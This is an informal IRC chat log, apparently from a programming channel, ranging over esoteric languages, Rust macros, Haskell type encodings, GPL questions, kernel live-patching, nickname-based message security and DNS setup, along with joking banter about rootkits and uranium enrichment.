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22:03:23 <not^v> in http://esolangs.org/wiki/Barely
22:04:03 <not^v> which direction does b add to the IP
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22:10:22 <ion> Hitler's Reaction to Oculus acquisition by Facebook http://youtu.be/C_JfB4YEan4
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22:41:13 <newsham> why did facebook kill the occulus anyway?
22:45:32 <int-e> I thought the term was "acquire".
22:46:34 <Zom-B> better go with open source http://jarradhope.com/posts/secondsight.html
22:49:44 <Zom-B> it needs some work though
22:50:07 <fizzie> This is just a guess, but it's barely possible Facebook's goal is to make money with it.
22:51:00 <Zom-B> i surely hope no Minority Report-style commercials
22:51:28 <int-e> targeted advertising, straight to your retina.
22:51:57 <fizzie> When they start buying companies developing tech for hooking up to the optic nerve, then it's time to get worried.
22:52:08 <fizzie> At least with a headset, you can still take it off.
22:53:08 <int-e> Hah. That's what you think. I can't wait for the RIAA and co to demand software lockable 3d glasses so people won't look away during ads. ;)
22:53:13 <Zom-B> that excuse is just as lame as saying you can turn your monitor off when you see web ads
22:53:17 <int-e> hmm. MPAA should be first.
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22:56:35 <newsham> [12:49] < int-e> I thought the term was "acquire".
22:56:45 <newsham> why did facebook acquire occulus to kill it off?
22:57:14 <quintopia> Zom-B: hard drive failure, among other things
22:57:36 <newsham> zomb: in trusted path, wouldnt the software pause the add when the monitor is turned off? ;-)
23:00:18 <fizzie> Perhaps they should just add a post-ad quiz on its content that you have to answer correctly in order to proceed.
23:01:44 <newsham> why not just require you to purchase what the ad is selling?
23:02:51 <newsham> you know those train advertisements that play on the window so you only hear it when you lean your head on the glass?
23:03:07 <newsham> i cant wait till they require at least some fraction of train riders put their head on the glass before the train goes
23:03:24 <fizzie> No, I don't know those. Sounds fancy.
23:03:42 <newsham> http://www.huffingtonpost.com/2013/07/03/train-window-ads_n_3535574.html
23:04:36 <fizzie> I've been kind of wondering why there aren't (or are there?) any ads that play when you drive over them, since there's those "musical roads". Maybe it's not high-fidelity enough.
23:07:16 <fizzie> We had recently to play with this device, designed for people with no working vocal cords; you touch it to your throat, and then make the necessary vocal tract shapes; the device has a buzzer that provides an excitation, and what comes out is (somewhat) intelligible speech.
23:09:41 <newsham> fizzie: http://www.youtube.com/watch?v=Io8sB9sE9Dw
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23:18:02 <kmc> the permadeath difficulty curve of 2048 is mitigated somewhat by the fact that you can get pretty far just by mashing buttons real fast
23:18:12 <kmc> this is sort of like praising a bad film for being short, but whatever
23:22:06 <int-e> kmc: keep the big pieces on a side; preferrably with the biggest piece in a corner.
23:23:34 <kmc> that's what I do
23:24:04 <kmc> i've won at 2048 (and doge2048) a number of times by now
23:24:12 <kmc> it doesn't remove the compulsion to play, only the illusion that I was having fun
23:24:29 <int-e> That should easily get the winning rate to 50%.
23:24:36 <int-e> I have to fight the urge to try and reach 8192.
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23:31:02 <quintopia> i just got pretty far in 2584 with the corner strategy
23:31:09 <quintopia> seems a bit broken that that works
23:44:31 <kmc> fungot: I guess it would be nice to give my heart to a god, but which one do I choose?
23:44:31 <fungot> kmc: obviously.... what?
23:44:54 <kmc> fungot: you are not the destroyer
23:44:54 <fungot> kmc: i've been thinking of.) is very weird even if you take a list of posn structs and drawing an image that has no compiler.
23:45:20 -!- kmc has set topic: an image that has no compiler | PSA: fizzie is running the wiki now, contact him for any problems | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
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00:26:26 <Sgeo> I think I like WAI and conduits... but Yesod itself maybe not so much :/
00:26:36 <Sgeo> I should actually try writing code at some point
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00:49:17 <not^v> but "Hi" in Barely is xhooooooooooooooxjjjjjjjjjjjjjjhhhh~
00:50:06 <not^v> or atleast i think, dont feel like making a DOS vm (or touching the dinosoar)
00:50:27 <not^v> does anyone know if barely outputs as ASCII?
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02:03:31 <Sgeo> Is ATS likely to be of any interest compared to Idris and similar languages?
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02:17:20 <kmc> Sgeo did you learn Rust yet
02:17:29 <Sgeo> I read about it some time ago
02:17:46 <Sgeo> I should go read about procedural macros in Rust... is that in 0.9 or only in HEAD?
02:18:30 <kmc> think only in HEAD
02:18:34 <kmc> and there's not a lot to read :P
02:19:08 <kmc> I mean "procedural macro" is a fancy term for "we dlopen() your crate in the compiler and stuff your function into the frontend pipeline"
02:19:25 <kmc> so you're coding against the internal rustc APIs (which use deprecated language features, lololol)
02:19:28 <Sgeo> Ah. So not a nice pretty syntax-case
02:20:04 <kmc> the non-procedural "Macros By Example" are pattern-matching-based
02:20:06 <Bike> that's neat, so you have pretty clean compiletime runtime separation
02:20:17 <kmc> but maybe they're closer to syntax-rules? i don't know scheme that well
02:21:28 <kmc> Sgeo: that internal rustc API does include a quasiquote syntax, thankfully
02:21:29 <kmc> https://github.com/kmcallister/html5/blob/82ddb1433237023daf1168abcb8b1c233b5e6858/macros/named_entities.rs#L103-L110
02:21:56 <Sgeo> syntax-rules is pattern matching based, syntax-case includes a macro for pattern matching called syntax-case, but implies other things that allow for arbitrary computation of syntax objects easily
02:22:39 <kmc> Bike: how do you mean?
02:22:57 <Bike> macros don't stick around in the runtime image, they're only loaded in the compiler context
02:23:54 <kmc> sure, that's basically what I expect from a language with macros and a phase distinction
02:24:22 <kmc> the syntax to load a procedural macro crate is #[phase(syntax)] extern crate my_macros;
02:24:30 <kmc> if you want that crate avail. at runtime too you can do #[phase(syntax,link)]
02:27:16 <kmc> actually that's how you load non-procedural exported macros, too
02:27:23 <Bike> does scheme do it?
02:27:30 <kmc> the ability to export macros from a crate came in at the same time as procedural macros
02:27:38 <kmc> idk, scheme doesn't have so much of a phase distinction though, does it?
02:27:53 <kmc> in some lisps anyway "compile" is just a function you can invoke at runtime
02:28:09 <kmc> like instead of (eval foo) you compile it first and now it's faster
02:28:10 <Bike> well, i don't know
02:28:20 <kmc> paging someone who knows scheme
02:28:21 <Bike> common lisp has a phase distinction but macros stick around
02:28:37 <kmc> what do they do at runtime? hang around awkwardly looking at their shoes?
02:28:44 <Bike> basically yeah
02:29:01 <Bike> it's one of the ways common lisp is obviously made for lisp machines :/ (and so a persistent environment you fuck with)
02:30:07 <Sgeo> kmc: Racket has phases, can't speak for Schemes in general
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02:50:24 <kmc> I wonder if anyone has made a runtime eval() for Rust yet
02:50:52 <kmc> in theory it shouldn't be that hard, because the compiler is written as a library (rather, various libraries)
02:51:19 <kmc> and it can compile to a .so and there's a cross-platform dlopen()-like interface already in the stdlib
02:51:39 <kmc> (it's a pretty minimal wrapper, though; doesn't do load-time typechecking or anything)
02:52:19 <kmc> you could also try to use the LLVM JIT, that's what the old rusti used, but it was removed due to bugginess
02:59:42 <Sgeo> Is b -> (a -> b) -> b morally equivalent to Maybe a? Is there a name for doing that? Can it be done with List a?
03:00:21 <copumpkin> it can be done in a couple of different ways with List
03:00:36 <copumpkin> simplest form of that gives you exactly foldr
03:01:35 <Sgeo> Are there types whose church encoding covers more than just the type?
03:01:44 <Sgeo> Was thinking Maybe Int, but not in that case
03:02:14 <Sgeo> But... e.g. something where you could say const something instead of using the input, to build something that doesn't actually correspond to a value that the type has
03:02:52 <copumpkin> as long as you have a polymorphic return value, it's equivalent to some type
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03:06:02 <kmc> how does that theorem work? :)
03:06:08 <Jafet> Sgeo: forall b. b -> (a -> b) -> b is Maybe a
03:06:19 <Jafet> is what copumpkin means
03:06:33 <kmc> Sgeo: there's also Mogensen-Scott encoding
03:08:01 <copumpkin> yeah, that's what I meant by the couple of different ways for List
03:08:09 <copumpkin> for non-recursive types they look the same
03:08:30 <kmc> i forgot the difference, anyway, I guess it's about whether it represents one level of constructor or all of them?
03:08:38 <kmc> like whether it folds the whole list or just applies a function to the first cons cell
03:08:53 <copumpkin> newtype List a = List (forall r. r -> (a -> List a -> r) -> r)
03:08:59 <copumpkin> newtype List a = List (forall r. r -> (a -> r -> r) -> r)
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03:10:33 <Sgeo> SomeException isn't as magic as I thought, I think
03:11:29 <Sgeo> throw ThisException `catch` \e -> putStrLn ("Caught " ++ show (e :: MyException))
03:11:45 <Sgeo> I gather that it's just return type polymorphism getting to brag some more
03:12:48 <copumpkin> does the GPL dislike it if I distribute a subset of someone's work?
03:13:02 <copumpkin> like, I want to distribute a tarball of binutils minus everything that isn't needed for libopcodes
03:13:14 <copumpkin> because it's ****ing huge otherwise
03:13:52 <copumpkin> it doesn't seem like it should be problematic, right?
03:14:17 <Bike> a mirror for the other parts of binutils is provided by the gnu foundation,
03:14:45 <copumpkin> there's a libopcodes-only distro? I'd take that
03:15:02 <copumpkin> it unfortunately also tries to depend on libiberty, bfd, and intl
03:15:52 <Jafet> “You may convey a work based on the Program, or the modifications to produce it from the Program [...]”
03:17:12 <kmc> the gnu operating system
03:17:46 <Jafet> (But “Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.”)
03:18:15 <kmc> I was recently reminiscing about how I happened to have BFD on my résumé when I applied to Ksplice (because I'd done like two 50-line projects)…
03:18:29 <kmc> and they were excited because the core of their product is a 3,000 line C program which uses BFD heavily and has very few comments
03:18:48 <kmc> sorry that's 3,000 lines in one file, there are some other files too
03:20:17 <kmc> http://en.wikipedia.org/wiki/Binary_File_Descriptor_library
03:20:20 <kmc> don't miss the "history" section
03:23:54 <ion> kmc: Any thoughts on <http://rhelblog.redhat.com/2014/02/26/kpatch/>?
03:25:16 <kmc> I haven't looked at this
03:25:42 <kmc> it looks extremely similar to Ksplice
03:26:01 <kmc> not just in purpose/design but the code structure is very similar
03:26:21 <kmc> it might be a fork -- the original Ksplice was GPL, and they would change the name to avoid Oracle trademark lawyers
03:26:36 <kmc> but I don't see ksplice people listed in the copyright sections
03:27:46 <ion> I wouldn’t mind the maintainers of my $distro starting to use that officially.
03:29:22 <kmc> "Unfortunately kpatch depends on Linux kernel >= 3.7, so it’s not compatible with RHEL/CentOS 6."
03:29:34 <Jafet> Heh, the github history starts with a 2000-line kmod
03:29:36 <ion> at some point in the future
03:29:41 <Jafet> ... this may have been written from scratch
03:30:06 <kmc> the commercial version of ksplice worked all the way back to RHEL4's 2.6.9 kernel
03:30:23 <kmc> though the released GPL code only supported CentOS 5
03:30:43 <kmc> supporting 2.6.9 resulted in some hilarity, had to ksplice fixes to bugs that would prevent other ksplicing from working
03:31:31 <kmc> yeah it's cool that you could apply updates to a system that was booted years before ksplice existed
03:31:43 <kmc> since it works on a totally stock distro kernel without rebooting even once
03:31:52 <ion> yeah even :-P
03:32:15 <kmc> I don't think it would take all that much work for some skilled kernel developers (of which RH has many) to reimplement ksplice just for 3.7+
03:32:23 <kmc> since they have the paper and the GPL'd code to look at
03:33:18 <kmc> and they have a clear competitive reason to do so
03:34:00 <Bike> ion and kmc have the same color on my end and it's tripping me out
03:34:02 <Jafet> “Frequently Asked Questions. Q: Isn't this just a virus/rootkit injection framework?”
03:34:12 <kmc> ksplice would make a baller rootkit
03:34:13 <Bike> thank you jafet
03:34:17 <kmc> it's also a good rootkit detector
03:34:19 <Bike> you have broken the curse
03:34:21 <kmc> we detected a lot of rootkits bitd
03:34:26 <Jafet> uhhh yes insmod is a great rootkit injection
03:34:59 <kmc> yeah, what I mean is that ksplice tech would help one write a very sophisticated rootkit, but having ksplice on your system doesn't make it any easier for an attacker to install a rootkit
03:35:17 <Bike> do malicious linux rootkits exist
03:35:32 <Jafet> Almost certainly yes
03:35:34 <kmc> i don't understand the question
03:35:35 <ion> No, they are all benevolent.
03:36:17 <kmc> I want to write a Linux kernel rootkit in Rust
03:36:41 <kmc> people have written a few kernel modules in Rust but only hello world stuff
03:36:51 <kmc> it would be fun to do something complicated and actually write Rust bindings for parts of the kernel API and such
03:37:03 <Bike> when i used windows i got hit by rootkits once or twice. does (not "can") this occur on linux
03:37:17 <kmc> yes, most servers run Linux so malware for compromising Linux servers is very popular
03:37:34 <kmc> "rootkit" is something I associate with servers, anyway
03:37:44 <kmc> it's usually called something else when it's desktop malware although the distinction may be arbitrary
03:38:00 <kmc> to me the term "rootkit" basically assumes you have a nosy sysadmin and you want to hide things from them
03:38:40 <kmc> one of the major features of a rootkit is to hide stuff from ls, ps, etc.
03:39:01 <kmc> fungot: are you a nosy sysadmin
03:39:02 <fungot> kmc: hm, scheme would go fnord. i'll start working on it
03:39:16 <Jafet> I thought eastern european haxxxorz but that sounds plausible too
03:39:20 <kmc> fungot: very good. give me status updates every half-hour.
03:39:20 <fungot> kmc: all fnord colours are black, no matter what it's called
03:39:35 <kmc> "HAXXXOR Volume 1: No Longer Floppy"
03:39:49 <kmc> https://archive.org/details/haxxxor_volume_1_dvd nsfw
03:39:56 <Jafet> fungot: any fnord colour you like
03:39:57 <fungot> Jafet: but without mmu isn't as bad as last time we had turkey was the thanksgiving of ' 98 when the oven element burned out and we made easy os.
03:40:08 <Bike> With the risque "HaXXXor" series of low-budget films, Nmap makes the leap from Science fiction to soft-core pornography.
03:40:31 <Bike> http://nmap.org/movies/elysium/elysium-nmap-screenshot-720x400.jpg i love this shit
03:41:13 <ion> I hate it when hackers download lethal threats to my data hosts.
03:41:15 <Bike> "If you notice something familiar about the background Nmap scans in the screenshots below, it's because the film makers directly cribbed some of them from The Matrix Reloaded. " oh this is good stuff
03:45:37 <shachaf> i should keep reading that book
03:49:32 <Bike> the novelization of matrix reloaded was pretty good,
03:51:09 <kmc> oh, this RH thing uses <gelf.h> rather than BFD
03:51:11 <kmc> probably wise.
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04:09:37 * Sgeo reads http://community.haskell.org/~simonmar/papers/ext-exceptions.pdf
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04:31:31 <Sgeo> "There was an experiment at Sandia Labs in which a backdoor was inserted into code and code reviewers told where in code to look for it. They could not find it – even knowing where to look."
04:32:00 <Sgeo> I don't know details, I'm just quoting from https://blogs.oracle.com/maryanndavidson/entry/mandated_third_party_static_analysis
04:34:50 <Sgeo> Hmm, hivemind seems to dislike that article http://www.reddit.com/r/netsec/comments/21fj35/mandated_third_party_static_analysis_bad_public/
04:42:37 <zzo38> Is the code available that other people can look too?
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04:51:31 <kmc> yeah while we're at it I'll also take a glance at some of their hydrogen bomb designs
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05:18:52 <quintopia> kmc: eh why bother. we could probably do better building an open source H-bomb.
05:21:17 <kmc> how hard can it be
05:22:51 <pikhq> Just stick some hydrogen in a jar, right?
05:23:03 <quintopia> well there's that one 14-year-old kid who built a reactor, and enriched some yellow cake in his garage. so i think the answer to your question is "so easy a well-informed teenager could do it"
05:23:12 <copumpkin> kmc: I pushed my libopcodes haskell binding
05:23:22 <copumpkin> it's not on hackage yet, but I'll get it up sometime
05:23:31 <copumpkin> it's still pretty rough but I'll polish it up over the weekend
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05:24:35 <kmc> i think there are a few steps from somewhat enriched uranium to weaponized thermonuclear device
05:25:18 <quintopia> yeah. nothing so difficult we couldn't do it with a couple hundred k dollars in machinery, right?
05:28:33 <kmc> good luck w/ that
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05:29:42 <Bike> i'd like to point out that the first artificial nuclear reactor was made of wood
05:29:56 <Bike> weekend project for dads, imo
05:31:37 <kmc> nuclear reactor hackathon
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05:33:15 <Bike> you know i don't actually know how uranium is enriched. or what that means. is it just getting the radioactive isotope out of the ore
05:33:44 <kmc> pretty much
05:33:51 <kmc> there are lots of ways http://en.wikipedia.org/wiki/Enriched_uranium#Enrichment_methods
05:34:07 <Bike> i just hear 'centrifuge' and i'm like oh those are easy
05:34:18 <kmc> they're pretty intense centrifuges
05:34:30 <Bike> gas centrifuge. oh.
05:34:55 <kmc> actually the method used at Oak Ridge during the war is pretty amusing / something
05:34:58 <kmc> http://upload.wikimedia.org/wikipedia/commons/d/d8/Diagram_of_uranium_isotope_separation_in_the_calutron.png
05:35:03 <kmc> http://en.wikipedia.org/wiki/Calutron
05:35:38 <kmc> "Want of copper for the large coils to produce the magnetic fields prompted a solution possible only in wartime: Groves borrowed 14,700 short tons of pure silver from a government vault for the purpose; all was later returned, the last few tons in 1970."
05:36:12 <Bike> the picture just looks like a spectrometer though. wikipedia agrees i guess
05:36:28 <kmc> shoot uranium into the air w/ a magnetic field and pick up the bits that land in a certain place
05:37:03 <Bike> so uh, a really big spectrometer.
05:37:25 <kmc> also like the last paragraph here http://en.wikipedia.org/wiki/Calutron#Scaling_up_at_Oak_Ridge
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05:37:57 <Bike> regular lab ultracentrifuges can get like two million g's though
05:37:59 <Bike> psycho equipment
05:38:21 <Bike> http://en.wikipedia.org/wiki/File:Ultracentrifuge.jpg the face of death
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05:41:16 <Bike> if you dumped uranium fluoride ore in one you would probably die though
05:42:00 <kmc> uranium and fluorine
05:42:04 <kmc> two great tastes that go great together
05:42:33 <Bike> "Tetrauranium octadecafluoride" hell yeah
05:43:07 <coppro> Bike: that sounds very, very dangerous
05:43:34 <coppro> like seriously. 18 fluorides? what the hell
05:44:07 <Bike> kinda doubt it
05:44:37 <Bike> fluorine isn't dangerous in compounds, that's the whole point
05:47:21 <douglass_> lots of fluorines per available electron density -> it's still hungry
05:47:50 <douglass_> chlorinated hydrocarbons are fine, but this...
05:48:15 <douglass_> (unrelated: fluorophilicity, what the fuck?)
05:48:46 <Bike> http://en.wikipedia.org/wiki/Uranium_hexafluoride uranium hex seems aight
05:48:50 <Bike> wonder if tsunamis explode it
05:49:04 <douglass_> (why is it a thing that things will separate into a polar fraction, a nonpolar fraction, and a fluorinated fratction???)
05:49:27 <Bike> just to fuck w/you
05:49:29 <kmc> i don't even understand the first two -__-
05:49:39 <Bike> first two what
05:49:43 <douglass_> highly toxic, reacts violently with water, corrosive to most metals
05:49:47 <kmc> why things separate into polar and nonpolar
05:49:53 <douglass_> so yeah tsunamis probably explode it
05:49:56 <kmc> I mean I kind of get it but probably would fail to explain it properl
05:50:32 <douglass_> polar things are attracted to each other more than nonpolar things are attracted to each other or polar and nonpolar are attracted, because they can reorient to have partial positives next to partial negatives
05:50:42 <douglass_> so polar things stick together and push out the nonpolar
05:50:59 <Bike> just in case you were too used to opposites attracting
05:51:07 <kmc> I guess that is what I would have said before,
05:51:12 <kmc> but somehow it's vaguely unsatisfying
05:51:28 <kmc> I guess because the saying is "like attracts like" but the nonpolar stuff here only ends up together by default
05:51:52 <Bike> you t hink that's unsatisfying let me tell you about "determining" a compound's polarity by counting oxygens and shit
05:52:23 <douglass_> wait who does that? that sounds like a stupid way to do it
05:52:34 <Bike> babby's first bio classes
05:53:03 <douglass_> though i guess in bio all the molecules are really big so they can kind of line up any way they want to and it's almost ok?
05:53:15 <Bike> inorganic chemistry is 'something i'm pretty bad at'
05:53:30 <Bike> not that i'm actually good at org but hey
05:53:38 <Bike> least i don't have to care about dipoles
05:54:50 <Bike> ok yes. we did some basic chromatography with some chlorophylls.
05:55:00 <Bike> "To determine polarity, count the number of polar oxygens present in each molecule."
05:55:06 <douglass_> wait doesn't ochem care about dipoles too?
05:55:23 <douglass_> anyway, yeah, chlorophylls are huge and i doubt that's actually a terrible approximation even though it's icky
05:55:38 <Bike> http://dwb4.unl.edu/Chem/CHEM869E/CHEM869ELinks/www.uis.edu/7Etrammell/organic/introduction/polarity.htm hm hm
05:55:48 <Bike> douglass_: we also only cared about relative polarity so there's that
05:56:38 <Bike> oh hey a whole monograph "Dipole Moments in Organic Chemistry (Physical methods in organic chemistry) "
05:57:14 <Bike> i just kind of talk a lot about things i don't know srry
05:57:49 <kmc> fungot: how do you determine polarity
05:57:49 <fungot> kmc: i suggest where the left fnord is in my class at all. thanks. :) but sure
05:57:57 <kmc> none pizza with left fnord
05:58:23 <Bike> i did think it was neat that chlorophylls are bloggy and beta carotene and xanthophyll have huge ass hydrocarbon chains
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06:21:23 <Sgeo> How do you count the number of inhabitants of (forall a. a -> a -> a)?
06:21:46 <Sgeo> The correct answer's two, right? (Pretending _|_ doesn't exist)
06:22:20 <Bike> you forgot about bill who has a summer home there
06:22:40 <Sgeo> But... a -> (a -> a), a -> a has one inhabitant, 1 ^ 1 = 1... pretty sure the forall is confusing me
06:22:59 <copumpkin> that's not valid without the quantifier
06:23:09 <copumpkin> forall a. a -> a has one inhabitant
06:23:15 <copumpkin> but you shifted the quantifier out
06:24:35 <copumpkin> forall a. a -> a -> a ~~ forall a. (a, a) -> a ~~ forall a. (Bool -> a) -> a ~~ Bool
06:26:29 <Sgeo> How does that middle step work, (a, a) being (Bool -> a)?
06:28:01 <ion> @type let f (a,b) = \sel -> if sel then b else a; g foo = (foo False, foo True) in (f, g)
06:28:02 <lambdabot> ((t, t) -> Bool -> t, (Bool -> t1) -> (t1, t1))
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07:50:31 <zzo38> Do you think SQL is a very good programming language for statistics/data analysis?
07:52:27 <zzo38> I think so. I also think that, when SQLite is used as a application file format and/or internal format, it allows you to have a embedded programming language for free.
07:52:27 <Bike> never been there
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08:31:58 <oerjan> <maurer> kmc: For example, krogstad :( <-- did you know that google is entirely useless for finding out what americans mean by a word that is actually from your own, different, language?
08:32:20 <kmc> it's the surname of somebody we know
08:32:26 <kmc> what does it mean in your own, different language
08:32:45 <oerjan> i assumed you were talking about some company
08:33:19 <oerjan> (probably founded by a norwegian-american, but still impossible to google if it's not _very_ famous)
08:33:54 <oerjan> because there are all these _norwegian_ people and companies that google insists on putting first based on your location
08:34:19 <oerjan> also, it's originally a placename
08:35:26 <oerjan> except probably a small one, because it's impossible to google that, either.
08:36:37 <oerjan> no:krok = en:hook, no:stad = en:place,town
08:36:56 <oerjan> and the k used to be g in earlier orthography (still is in danish)
08:37:16 <oerjan> hm maybe they modernized that in the placename...
08:38:27 <oerjan> because danish has this habit of softening final and intermediate consonants that were hard in norse, which norwegian doesn't
08:42:23 <oerjan> http://no.wikipedia.org/wiki/Krokstadelva exists, at least (and claims this krok is actually from a rare personal name)
08:43:31 <oerjan> which, given the final r, was back in norse times
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11:34:06 <Jafet> Molten PLA smells nice
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12:10:32 <Zom-B> [14-03-29 13:09:49] <lambdabot> You have 1 new message. '/msg lambdabot @messages' to read it.
12:10:32 <Zom-B> [14-03-29 13:09:59] <Zom-B> @messages
12:10:32 <Zom-B> [14-03-29 13:10:00] <lambdabot> You don't have any messages
12:10:33 <oerjan> printing or burning, what's the difference
12:11:22 <oerjan> @ask Zom-B What about now?
12:11:44 <Zom-B> i got your message
12:12:13 <oerjan> int-e: you get right on it
12:12:57 <Zom-B> i dont see any other @ask kere
12:13:14 <oerjan> you just changed your nick didn't you.
12:13:26 <oerjan> change back and try again
12:13:28 <Zom-B> not the first time though
12:14:19 <Zom-B> i got the messaage notify after i changed
12:14:29 -!- Zom-B has changed nick to Zom-B|zz.
12:14:42 -!- Zom-B|zz has changed nick to Zom-B|aw.
12:15:05 -!- Zom-B|aw has changed nick to Zom-B.
12:15:26 <Zom-B> i got one other message to pop up, from 3d ago
12:16:36 <Zom-B> there was another person on here with my nick for more than a day, before i managed to register it
12:16:47 <Zom-B> maybe he read my message
12:17:20 <Zom-B> even after i registered, he took my nick, before i ghosted his ass
12:18:08 <oerjan> well that doesn't explain how he managed to get in between the minute you were notified and when you tried to read it
12:18:10 <Zom-B> some mof: Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de
12:18:48 -!- oerjan|hm has joined.
12:19:10 <oerjan> @ask oerjan|hm Are you ok?
12:19:36 <Jafet> Huh, so targeting messages at nicknames is not secure.
12:20:00 <Zom-B> should target logins rather than nicks
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12:20:28 <oerjan> the problem is then it couldn't be used with people who aren't logged in
12:21:01 <Zom-B> why have a messagebot at all whe you have /ms?
12:22:49 <Zom-B> [14-03-29 13:21:51] -MemoServ- ***** MemoServ Help *****
12:22:49 <Zom-B> [14-03-29 13:21:51] -MemoServ- MemoServ allows users to send memos to registered users.
12:22:57 <Zom-B> registered users only
12:23:06 <oerjan> and memoserv tends to get lost in my status window.
12:23:56 <Zom-B> i once made a message bot by login name, but people didnt understand how to use it (they tried nicks)
12:24:10 <Zom-B> then i let it track all usernames which belong to logins, but that was a major PITA
12:24:34 <Zom-B> because people sometimes take each other's nick when the other is not online to troll people
12:24:55 <Zom-B> and one person can have different logins dependong on from wehere they connect
12:25:05 <oerjan> you can get the information from /whois
12:25:12 <Zom-B> so the algorithm grouped multiple 'real' people together as being one
12:25:31 <Zom-B> the bor did /whois/ every time someone it itself connected
12:26:52 <oerjan> Zom-B: you should track the entirel nick!user@host part i think
12:27:24 <oerjan> Zom-B: oh wait that's what you mean by login
12:27:32 <Zom-B> for example, if you take me, it would have thought ~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl and ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 were the same person
12:27:36 <oerjan> freenode accounts are different again
12:27:49 <oerjan> and you can find those with /whois as well
12:28:04 <oerjan> (although you have to wait until they're finished registering)
12:29:19 <Zom-B> if i would do /nick oerjan|hm, then it would also group oerjan@sprocket.nvg.ntnu.no and think we're both the same person
12:29:48 <oerjan> yeah without proper registrations you cannot make it secure, really
12:30:04 <oerjan> well secure and convenient
12:30:34 <oerjan> so lambdabot doesn't even try.
12:31:05 <Zom-B> i didnt even try fixing my message bot (actually just a small module within a much larger bot) and just discarded it
12:31:29 <Jafet> Well, lambdabot can't even track nicknames to begin with, so it's rather moot
12:31:49 <oerjan> @seen was removed ages ago
12:32:36 <Zom-B> i think its awesome that someone went and made a bot in befunge
12:33:31 <int-e> I suspect that having lambdabot issuing whois queries would create more problems than it could possibly solve.
12:34:15 <Zom-B> i think you should built in a message list that the user has to clear manually, that way noone can 'lose' messages that are read by others
12:34:49 <int-e> (it would also a design challenge, since it would add an asynchronous query to a design that's currently (mostly?) synchronous.)
12:34:52 <oerjan> Zom-B: um it wouldn't prevent others from clearing the messages
12:35:06 <Zom-B> i assume that they read it by accident
12:35:19 <Zom-B> otherwise keep te last 10 messages oir so
12:36:01 <oerjan> i'm not sure it happens that much by accident? lambdabot is not on _that_ many channels...
12:36:02 <int-e> I would hate having to clear them explicitely.
12:36:11 <Jafet> Modify your own irc client to send them the message when they log in.
12:36:24 <int-e> oerjan: 70 is a lot in my view.
12:36:24 <Zom-B> it messaged 'zom-b' that there were messages, and someone else took my nick
12:36:56 <oerjan> int-e: yes but is it enough that people accidentally confuse nicks in them _and_ get @tells
12:37:27 <int-e> nah, I thought the problem was the opposite
12:37:48 <Zom-B> lambdabot is on 70 channels O_o?
12:37:49 <int-e> people changing nicks (or getting an _ appended, whatever) and never seeing that they got messages because of that.
12:37:51 <oerjan> Zom-B: are you sure that happened
12:38:12 <Zom-B> Zom-B Nickname is already in use.
12:38:12 <Zom-B> Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de
12:38:12 <Zom-B> Zom-B using hobana.freenode.net Bucharest, RO
12:38:12 <Zom-B> ZOm-B End of /WHOIS list.
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12:38:57 <Zom-B> im not 100% sure that he actually got messages from lambdabot but what other explaination is ther?
12:39:19 <oerjan> Zom-B: you can activate nickserv's protection against that if you want.
12:39:32 <Zom-B> al ready registered yesterday
12:40:08 <oerjan> i don't mean plain registration, there's a flag to automatically throw out people trying to use your nick without logging on
12:41:09 <oerjan> the downside is that you have to do some command to get on yourself afterward when it happens, iirc
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12:42:10 <Zom-B> you get a 60 second timer if you're not logged in, but i have a login script that runs on every connect
12:45:36 <oerjan> i just use a server password
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12:51:05 <fizzie> I just use a X.509 certificate.
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15:28:47 <elliott> fizzie: the nameservers for esolangs.org should have been switched over now
15:28:50 <elliott> (they are in whois locally)
15:41:30 <int-e> I get ns1.twisted4life.com. and eos.zem.fi.
15:42:16 <int-e> (from one of the .org nameservers)
15:43:07 <int-e> A guess: To get some sleep?
15:43:14 <elliott> because a spammer was playing whack-a-mole with names with elliott in it and I was bored
15:43:40 <elliott> int-e: eos.zem.fi should be the "primary" one, but apparently DNS nameservers are unordered and the primary one just goes in another record or something?
15:43:47 <elliott> I don't really know how DNS works.
15:44:09 <elliott> I also don't know how long I should leave the esolangs.org records lying around in the Linode DNS...
15:44:11 <int-e> elliott: right that's an internal arrangement, the rest of DNS doesn't care.
15:44:52 <int-e> (one step further you can see that: esolangs.org. 259200 IN SOA eos.zem.fi. postmaster.esolangs.org. 2014032301 28800 7200 2419200 86400)
15:45:12 <int-e> SOA meaning "start of authority" and eos.zem.fi being the authorative name server.
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15:46:46 <int-e> while the .org server just shrugs its shoulders and refers you to two nameservers that should know more.
15:46:51 <elliott> I just use Linode's web interface to set it all up initially because what's a DNS.
15:48:48 <elliott> it got set up in early 2012.
15:49:23 <elliott> does this place even do VPSes?
15:49:53 <copumpkin> but this is a crazy good deal: http://www.online.net/en/dedicated-server/dedibox-scg2
15:50:03 <elliott> I don't wanna keep paying linode $20/mo, but I can get a VPS cheaper than these prices and I don't need the muscle :p
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15:51:29 <copumpkin> I also got myself one of these recently, that's very cute: http://www.amazon.com/gp/product/B00FWUVTS0
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15:54:58 <int-e> cute. I wonder how long it takes to compile ghc on one of those ...
16:03:24 <int-e> Anyway, I suspect it would be too weak for running lambdabot.
16:08:08 <copumpkin> you talking about the VIA box or the ARM one?
16:08:33 <int-e> > text . map chr . scanl1 (+) $ [40,58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69]
16:08:34 <idris-ircslave> (input):1:29:When elaborating an application of function Control.Category..:
16:08:35 <lambdabot> (because ghc takes ages to load all the packages used by @run)
16:08:46 <int-e> > text . map chr . scanl (+) 40 [58,3,-2,-2,20,-2,-14,-69,71,1,-5,-67,84,-19,10,-6,14,-83,65,6,-2,14,-83,84,-5,-79,76,3,-14,3,-68,65,11,0,-76,84,-12,-3,-69,80,-15,2,8,-10,6,-2,14,-83,85,-2,-14,-1,-68,66,23,-89,32,50,3,-7,-69]
16:08:46 <idris-ircslave> When elaborating an application of function Control.Category..:
16:08:47 <lambdabot> Couldn't match expected type `a0 -> [GHC.Types.Int]'
